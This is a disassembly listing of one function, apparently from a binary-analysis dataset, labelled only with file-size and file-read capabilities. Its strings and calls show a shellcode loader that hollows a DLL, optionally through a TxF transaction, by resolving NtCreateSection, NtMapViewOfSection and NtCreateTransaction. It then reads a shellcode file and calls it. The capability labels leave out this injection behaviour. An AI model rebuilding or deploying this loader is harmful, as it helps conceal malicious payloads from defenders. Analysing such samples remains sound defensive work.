Function at 0x14001102d
Capabilities:
Get file size
Read file on windows

Disassembly:
jmp 0x140012b20
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x298
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x2b8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x240], rax
lea rcx, [0x1400250a4]
call fcn.14001146f
nop
cmp dword [rbp + 0x270], 2
jge 0x140012b9c
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x278]
mov rdx, qword [rcx + rax]
lea rcx, str._Usage:__ws__Shellcode_file_path__txf__Hollow_the_DLL_via_a_TxF_handle__optional___r_n
call fcn.1400111f9
nop
jmp 0x140012e1b
mov byte [rbp + 4], 0
cmp dword [rbp + 0x270], 3
jl 0x140012bd2
mov eax, 8
imul rax, rax, 2
lea rdx, [0x14001c448]
mov rcx, qword [rbp + 0x278]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x140012bd2
mov byte [rbp + 4], 1
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0x28], rax
lea rdx, str.NtCreateSection
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001f470], rax
lea rdx, str.NtMapViewOfSection
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001f478], rax
lea rdx, str.NtCreateTransaction
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001f480], rax
movzx eax, byte [rbp + 4]
test eax, eax
je 0x140012c4e
cmp qword [0x14001f480], 0
jne 0x140012c4e
mov byte [rbp + 4], 0
lea rcx, str.__TxF_is_not_handled_on_this_system._Disabling_preference._r_n
call fcn.1400111f9
nop
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x278]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x68], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xffffffffffffffff
je 0x140012e01
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0x84]
mov ecx, eax
call fcn.1400111cc
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0xa8], rax
mov r8d, dword [rbp + 0x84]
mov rdx, qword [rbp + 0x68]
lea rcx, str._Successfully_opened__ws__size:__d__r_n
call fcn.1400111f9
nop
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xc4]
mov r8d, dword [rbp + 0x84]
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140012daa
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0x108], 0
movzx eax, byte [rbp + 4]
mov byte [rsp + 0x28], al
lea rax, [rbp + 0x108]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x84]
mov r8, qword [rbp + 0xa8]
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0xe8]
call fcn.140011104
movzx eax, al
test eax, eax
je 0x140012daa
mov r8, qword [rbp + 0x128]
mov rdx, qword [rbp + 0xe8]
lea rcx, str._Successfully_mapped_an_image_to_hollow_at_0x_p__size:__I64u_bytes__r_n
call fcn.1400111f9
nop
mov rdx, qword [rbp + 0x108]
lea rcx, str._Calling_0x_p..._r_n
call fcn.1400111f9
nop
call qword [rbp + 0x108]
nop
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x228], rax
mov rcx, qword [rbp + 0x228]
call fcn.140011212
cmp qword [rbp + 0x228], 0
jne 0x140012ddb
mov qword [rbp + 0x238], 0
jmp 0x140012df4
mov qword [rbp + 0xa8], 0x8123
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x238], rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x140012e1b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x68]
lea rcx, str.__Failed_to_open__ws__error__d__r_n
call fcn.1400111f9
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001c0d0]
call fcn.1400113d4
mov eax, edi
mov rcx, qword [rbp + 0x240]
xor rcx, rbp
call fcn.140011221
lea rsp, [rbp + 0x258]
pop rdi
pop rbp
ret